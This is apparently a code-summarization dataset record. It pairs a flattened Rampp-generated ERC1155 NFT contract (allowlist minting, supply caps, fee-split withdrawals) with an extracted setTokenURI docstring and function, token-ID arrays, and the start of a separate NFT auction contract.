amounts, data); } /** * @dev Transfers amount tokens of token type id from from to to. * * Emits a {TransferSingle} event. * * Requirements: * * - to cannot be the zero address. * - from must have a balance of tokens of type id of at least amount. * - If to refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If to refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the {id} substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the https://token-cdn-domain/{id}.json URI would be * interpreted by clients as * https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates amount tokens of token type id, and assigns them to to. * * Emits a {TransferSingle} event. * * Requirements: * * - to cannot be the zero address. * - If to refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - ids and amounts must have the same length. * - If to refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys amount tokens of token type id from from * * Requirements: * * - from cannot be the zero address. * - from must have at least amount tokens of token type id. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - ids and amounts must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve operator to operate on all of owner tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the id and amount arrays will be 1. * * Calling conditions (for each id and amount pair): * * - When from and to are both non-zero, amount of from's tokens * of token type id will be transferred to to. * - When from is zero, amount tokens of token type id will be minted * for to. * - when to is zero, amount of from's tokens of token type id * will be burned. * - from and to are never both zero. * - ids and amounts have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol) pragma solidity ^0.8.0; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155, Ownable { using SafeMath for uint256; mapping (uint256 => uint256) private _totalSupply; mapping (uint256 => uint256) private tokenSupplyCap; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 _id) public view virtual returns (uint256) { return _totalSupply[_id]; } function getTokenSupplyCap(uint256 _id) public view virtual returns (uint256) { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); return tokenSupplyCap[_id]; } function setTokenSupplyCap(uint256 _id, uint256 _newSupplyCap) public onlyOwner { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(_newSupplyCap > tokenSupplyCap[_id], "New Supply Cap can only be greater than previous supply cap."); tokenSupplyCap[_id] = _newSupplyCap; } /** * @dev Indicates whether any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_beforeTokenTransfer}. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } } //-------------END DEPENDENCIES------------------------// // File: MerkleProof.sol - OpenZeppelin Standard pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a 'leaf' can be proved to be a part of a Merkle tree * defined by 'root'. For this, a 'proof' must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from 'leaf' using 'proof'. A 'proof' is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: Allowlist.sol pragma solidity ^0.8.0; abstract contract Allowlist is Ownable { mapping(uint256 => bytes32) private merkleRoot; mapping(uint256 => bool) private allowlistMode; bool public onlyAllowlistMode = false; /** * @dev Get merkle root for specific token in collection * @param _id token id from collection */ function merkleRootForToken(uint256 _id) public view returns(bytes32) { return merkleRoot[_id]; } /** * @dev Update merkle root to reflect changes in Allowlist * @param _id token if for merkle root * @param _newMerkleRoot new merkle root to reflect most recent Allowlist */ function updateMerkleRoot(uint256 _id, bytes32 _newMerkleRoot) public onlyOwner { require(_newMerkleRoot != merkleRoot[_id], "Merkle root will be unchanged!"); merkleRoot[_id] = _newMerkleRoot; } /** * @dev Check the proof of an address if valid for merkle root * @param _address address to check for proof * @param _tokenId token id to check root of * @param _merkleProof Proof of the address to validate against root and leaf */ function isAllowlisted(address _address, uint256 _tokenId, bytes32[] calldata _merkleProof) public view returns(bool) { require(merkleRootForToken(_tokenId) != 0, "Merkle root is not set!"); bytes32 leaf = keccak256(abi.encodePacked(_address)); return MerkleProof.verify(_merkleProof, merkleRoot[_tokenId], leaf); } function inAllowlistMode(uint256 _id) public view returns (bool) { return allowlistMode[_id] == true; } function enableAllowlistOnlyMode(uint256 _id) public onlyOwner { allowlistMode[_id] = true; } function disableAllowlistOnlyMode(uint256 _id) public onlyOwner { allowlistMode[_id] = false; } } abstract contract Ramppable { address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1; modifier isRampp() { require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP"); _; } } interface IERC20 { function transfer(address _to, uint256 _amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } abstract contract Withdrawable is Ownable, Ramppable { address[] public payableAddresses = [RAMPPADDRESS,0xe1c4bD0982a7459EF255f2FAaF1F0F79Ef721A16]; uint256[] public payableFees = [5,95]; uint256 public payableAddressCount = 2; function withdrawAll() public onlyOwner { require(address(this).balance > 0); _withdrawAll(); } function withdrawAllRampp() public isRampp { require(address(this).balance > 0); _withdrawAll(); } function _withdrawAll() private { uint256 balance = address(this).balance; for(uint i=0; i < payableAddressCount; i++ ) { _widthdraw( payableAddresses[i], (balance * payableFees[i]) / 100 ); } } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } /** * @dev Allow contract owner to withdraw ERC-20 balance from contract * while still splitting royalty payments to all other team members. * in the event ERC-20 tokens are paid to the contract. * @param _tokenContract contract of ERC-20 token to withdraw * @param _amount balance to withdraw according to balanceOf of ERC-20 token */ function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner { require(_amount > 0); IERC20 tokenContract = IERC20(_tokenContract); require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens'); for(uint i=0; i < payableAddressCount; i++ ) { tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100); } } /** * @dev Allows Rampp wallet to update its own reference as well as update * the address for the Rampp-owed payment split. Cannot modify other payable slots * and since Rampp is always the first address this function is limited to the rampp payout only. * @param _newAddress updated Rampp Address */ function setRamppAddress(address _newAddress) public isRampp { require(_newAddress != RAMPPADDRESS, "RAMPP: New Rampp address must be different"); RAMPPADDRESS = _newAddress; payableAddresses[0] = _newAddress; } } // File: isFeeable.sol abstract contract isPriceable is Ownable { using SafeMath for uint256; mapping (uint256 => uint256) tokenPrice; function getPriceForToken(uint256 _id) public view returns(uint256) { return tokenPrice[_id]; } function setPriceForToken(uint256 _id, uint256 _feeInWei) public onlyOwner { tokenPrice[_id] = _feeInWei; } } // File: hasTransactionCap.sol abstract contract hasTransactionCap is Ownable { using SafeMath for uint256; mapping (uint256 => uint256) transactionCap; function getTransactionCapForToken(uint256 _id) public view returns(uint256) { return transactionCap[_id]; } function setTransactionCapForToken(uint256 _id, uint256 _transactionCap) public onlyOwner { require(_transactionCap > 0, "Quantity must be more than zero"); transactionCap[_id] = _transactionCap; } function canMintQtyForTransaction(uint256 _id, uint256 _qty) internal view returns(bool) { return _qty <= transactionCap[_id]; } } // File: Closeable.sol abstract contract Closeable is Ownable { mapping (uint256 => bool) mintingOpen; function openMinting(uint256 _id) public onlyOwner { mintingOpen[_id] = true; } function closeMinting(uint256 _id) public onlyOwner { mintingOpen[_id] = false; } function isMintingOpen(uint256 _id) public view returns(bool) { return mintingOpen[_id] == true; } function setInitialMintingStatus(uint256 _id, bool _initStatus) internal { mintingOpen[_id] = _initStatus; } } // File: contracts/WlWtokenContract.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract WlWtokenContract is ERC1155, Ownable, Pausable, ERC1155Supply, Withdrawable, Closeable, isPriceable, hasTransactionCap, Allowlist { constructor() ERC1155('') {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 1; bytes private emptyBytes; uint256 public currentTokenID = 0; string public name = "WLW token"; string public symbol = "WLW"; mapping (uint256 => string) baseTokenURI; /** * @dev returns the URI for a specific token to show metadata on marketplaces * @param _id the maximum supply of tokens for this token */ function uri(uint256 _id) public override view returns (string memory) { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); return baseTokenURI[_id]; } function contractURI() public pure returns (string memory) { return "https://us-central1-nft-rampp.cloudfunctions.net/app/YJW8zgBiAxBoCsbTeV3Q/contract-metadata"; } /////////////// Admin Mint Functions function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(_qty > 0, "Minting quantity must be over 0"); require(totalSupply(_id).add(_qty) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); _mint(_address, _id, _qty, emptyBytes); } function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner { for(uint256 i=0; i < addresses.length; i++) { _mint(addresses[i], _id, _qtyToEach, emptyBytes); } } /////////////// Public Mint Functions /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _id token id of collection */ function mintTo(uint256 _id) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(totalSupply(_id).add(1) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) == false, "Public minting is not enabled while contract is in allowlist only mode."); require(isMintingOpen(_id), "Minting for this token is not open"); _mint(msg.sender, _id, 1, emptyBytes); } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint */ function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(_qty >= 1, "Must mint at least 1 token"); require(canMintQtyForTransaction(_id, _qty), "Cannot mint more than max mint per transaction"); require(totalSupply(_id).add(_qty) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, _qty), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) == false, "Public minting is not enabled while contract is in allowlist only mode."); require(isMintingOpen(_id), "Minting for this token is not open"); _mint(msg.sender, _id, _qty, emptyBytes); } ///////////// ALLOWLIST MINTING FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required - required to have proof of AL* * @param _id token id of collection * @param _merkleProof merkle proof tree for sender */ function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(totalSupply(_id).add(1) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) && isMintingOpen(_id), "Allowlist Mode and Minting must be enabled to mint"); require(isAllowlisted(msg.sender, _id, _merkleProof), "Address is not in Allowlist!"); _mint(msg.sender, _id, 1, emptyBytes); } /** * @dev Mints a number of tokens to a single address. * fee may or may not be required* * @param _id token id of collection * @param _qty amount to mint * @param _merkleProof merkle proof tree for sender */ function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); require(_qty >= 1, "Must mint at least 1 token"); require(canMintQtyForTransaction(_id, _qty), "Cannot mint more than max mint per transaction"); require(totalSupply(_id).add(_qty) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!"); require(msg.value == getPrice(_id, _qty), "Value needs to be exactly the mint fee!"); require(inAllowlistMode(_id) && isMintingOpen(_id), "Allowlist Mode and Minting must be enabled to mint"); require(isAllowlisted(msg.sender, _id, _merkleProof), "Address is not in Allowlist!"); _mint(msg.sender, _id, _qty, emptyBytes); } /** * @dev Creates a new primary token for contract and gives creator first token * @param _tokenSupplyCap the maximum supply of tokens for this token * @param _tokenTransactionCap maximum amount of tokens one can buy per tx * @param _tokenFeeInWei payable fee per token * @param _isOpenDefaultStatus can token be publically minted once created * @param _allowTradingDefaultStatus is the token intially able to be transferred * @param _tokenURI the token URI to the metadata for this token */ function createToken( uint256 _tokenSupplyCap, uint256 _tokenTransactionCap, uint256 _tokenFeeInWei, bool _isOpenDefaultStatus, bool _allowTradingDefaultStatus, string memory _tokenURI ) public onlyOwner { require(_tokenSupplyCap > 0, "Token Supply Cap must be greater than zero."); require(_tokenTransactionCap > 0, "Token Transaction Cap must be greater than zero."); require(bytes(_tokenURI).length > 0, "Token URI cannot be an empty value"); uint256 tokenId = _getNextTokenID(); _mint(msg.sender, tokenId, 1, emptyBytes); baseTokenURI[tokenId] = _tokenURI; setTokenSupplyCap(tokenId, _tokenSupplyCap); setPriceForToken(tokenId, _tokenFeeInWei); setTransactionCapForToken(tokenId, _tokenTransactionCap); setInitialMintingStatus(tokenId, _isOpenDefaultStatus); tokenTradingStatus[tokenId] = _allowTradingDefaultStatus ? 255 : 1; _incrementTokenTypeId(); } /** * @dev pauses minting for all tokens in the contract */ function pause() public onlyOwner { _pause(); } /** * @dev unpauses minting for all tokens in the contract */ function unpause() public onlyOwner { _unpause(); } /** * @dev set the URI for a specific token on the contract * @param _id token id * @param _newTokenURI string for new metadata url (ex: ipfs://something) */ function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); baseTokenURI[_id] = _newTokenURI; } /** * @dev calculates price for a token based on qty * @param _id token id * @param _qty desired amount to mint */ function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) { require(_qty > 0, "Quantity must be more than zero"); return getPriceForToken(_id).mul(_qty); } /** * @dev prevent token from being transferred (aka soulbound) * @param tokenId token id */ function setTokenUntradeable(uint256 tokenId) public onlyOwner { require(tokenTradingStatus[tokenId] != 1, "Token ID is already untradeable!"); require(exists(tokenId), "Token ID does not exist!"); tokenTradingStatus[tokenId] = 1; } /** * @dev allow token from being transferred - the default mode * @param tokenId token id */ function setTokenTradeable(uint256 tokenId) public onlyOwner { require(tokenTradingStatus[tokenId] != 255, "Token ID is already tradeable!"); require(exists(tokenId), "Token ID does not exist!"); tokenTradingStatus[tokenId] = 255; } /** * @dev check if token id is tradeable * @param tokenId token id */ function isTokenTradeable(uint256 tokenId) public view returns (bool) { require(exists(tokenId), "Token ID does not exist!"); return tokenTradingStatus[tokenId] == 255; } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal whenNotPaused override(ERC1155, ERC1155Supply) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } function _getNextTokenID() private view returns (uint256) { return currentTokenID.add(1); } /** * @dev increments the value of currentTokenID */ function _incrementTokenTypeId() private { currentTokenID++; } } //*********************************************************************// //*********************************************************************// // Rampp v1.0.0 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
* @dev set the URI for a specific token on the contract @param _id token id/
function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner { require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); baseTokenURI[_id] = _newTokenURI; }
2,142,182
[ 1, 542, 326, 3699, 364, 279, 2923, 1147, 603, 326, 6835, 225, 389, 350, 1147, 612, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22629, 3098, 12, 11890, 5034, 389, 350, 16, 533, 3778, 389, 2704, 1345, 3098, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 12, 1808, 24899, 350, 3631, 315, 654, 39, 27, 5340, 1609, 17394, 7, 1650, 30, 18708, 11838, 2222, 67, 8412, 8863, 203, 3639, 1026, 1345, 3098, 63, 67, 350, 65, 273, 389, 2704, 1345, 3098, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.6; pragma experimental ABIEncoderV2; import {Initializable} from "Initializable.sol"; import {IERC721} from "IERC721.sol"; import {IERC20} from "IERC20.sol"; import {SafeERC20} from "SafeERC20.sol"; import {ReentrancyGuard} from "ReentrancyGuard.sol"; import {IERC165} from "IERC165.sol"; import {DataTypes} from "DataTypes.sol"; import {Errors} from "Errors.sol"; import {AdminPausableUpgradeSafe} from "AdminPausableUpgradeSafe.sol"; import "IERC721TokenAuthor.sol"; /** * @dev Auction between NFT holders and participants. */ contract Auction is AdminPausableUpgradeSafe, ReentrancyGuard, Initializable { using SafeERC20 for IERC20; mapping(uint256 /*tokenId*/ => DataTypes.AuctionData) internal _nftId2auction; uint256 public minPriceStepNumerator; uint256 constant public DENOMINATOR = 10000; uint256 constant public MIN_MIN_PRICE_STEP_NUMERATOR = 1; // 0.01% uint256 constant public MAX_MIN_PRICE_STEP_NUMERATOR = 10000; // 100% uint256 public authorRoyaltyNumerator; uint256 public overtimeWindow; uint256 public auctionDuration; uint256 constant MAX_OVERTIME_WINDOW = 365 days; uint256 constant MIN_OVERTIME_WINDOW = 1 minutes; uint256 constant MAX_AUCTION_DURATION = 365 days; uint256 constant MIN_AUCTION_DURATION = 1 minutes; IERC20 public payableToken; IERC721 public nft; address public treasury; uint256 public feeCreatorToBuyerTokenNumerator; uint256 public feeResellerToBuyerTokenNumerator; uint256 public feeCreatorToBuyerETHNumerator; uint256 public feeResellerToBuyerETHNumerator; /** * @notice Emitted when a new treasury is set. * * @param treasury The treasury address. */ event TreasurySet( address indexed treasury ); /** * @notice Emitted when a new feeCreatorToBuyerTokenNumerator is set. * * @param feeCreatorToBuyerTokenNumerator The feeCreatorToBuyerTokenNumerator value. */ event FeeCreatorToBuyerTokenNumeratorSet( uint256 indexed feeCreatorToBuyerTokenNumerator ); /** * @notice Emitted when a new feeResellerToBuyerTokenNumerator is set. * * @param feeResellerToBuyerTokenNumerator The feeResellerToBuyerTokenNumerator value. */ event FeeResellerToBuyerTokenNumeratorSet( uint256 indexed feeResellerToBuyerTokenNumerator ); /** * @notice Emitted when a new feeCreatorToBuyerETHNumerator is set. * * @param feeCreatorToBuyerETHNumerator The feeCreatorToBuyerETHNumerator value. */ event FeeCreatorToBuyerETHNumeratorSet( uint256 indexed feeCreatorToBuyerETHNumerator ); /** * @notice Emitted whepaidToAuctioneern a new feeResellerToBuyerETHNumerator is set. * * @param feeResellerToBuyerETHNumerator The feeResellerToBuyerETHNumerator value. */ event FeeResellerToBuyerETHNumeratorSet( uint256 indexed feeResellerToBuyerETHNumerator ); /** * @notice Emitted when a new auction is created. * * @param nftId The NFT ID of the token to auction. * @param auctioneer The creator. * @param startPrice The auction's starting price. * @param priceToken The token of startPrice or 0 for ether. */ event AuctionCreated( uint256 indexed nftId, address indexed auctioneer, uint256 startPrice, address priceToken ); /** * @notice Emitted when a royalty paid to an author. * * @param nftId The NFT ID of the token to auction. * @param author The author. * @param amount The royalty amount. * @param amountToken The token of royalty amount or 0 for ether. */ event RoyaltyPaid( uint256 indexed nftId, address indexed author, uint256 amount, address amountToken ); /** * @notice Emitted when fee is paid to treasury. * * @param nftId The NFT ID of the token to auction. * @param payer The payer. * @param feeAmount The fee amount. * @param amountToken The token of amount or 0 for ether. */ event FeePaid( uint256 indexed nftId, address indexed payer, uint256 feeAmount, address amountToken ); /** * @notice Emitted when an auction is canceled. * * @param nftId The NFT ID of the token to auction. * @param canceler Who canceled the auction. */ event AuctionCanceled( uint256 indexed nftId, address indexed canceler ); /** * @notice Emitted when a new auction params are set. * * @param minPriceStepNumerator. */ event MinPriceStepNumeratorSet( uint256 minPriceStepNumerator ); /** * @notice Emitted when a new auction params are set. * * @param auctionDuration. */ event AuctionDurationSet( uint256 auctionDuration ); /** * 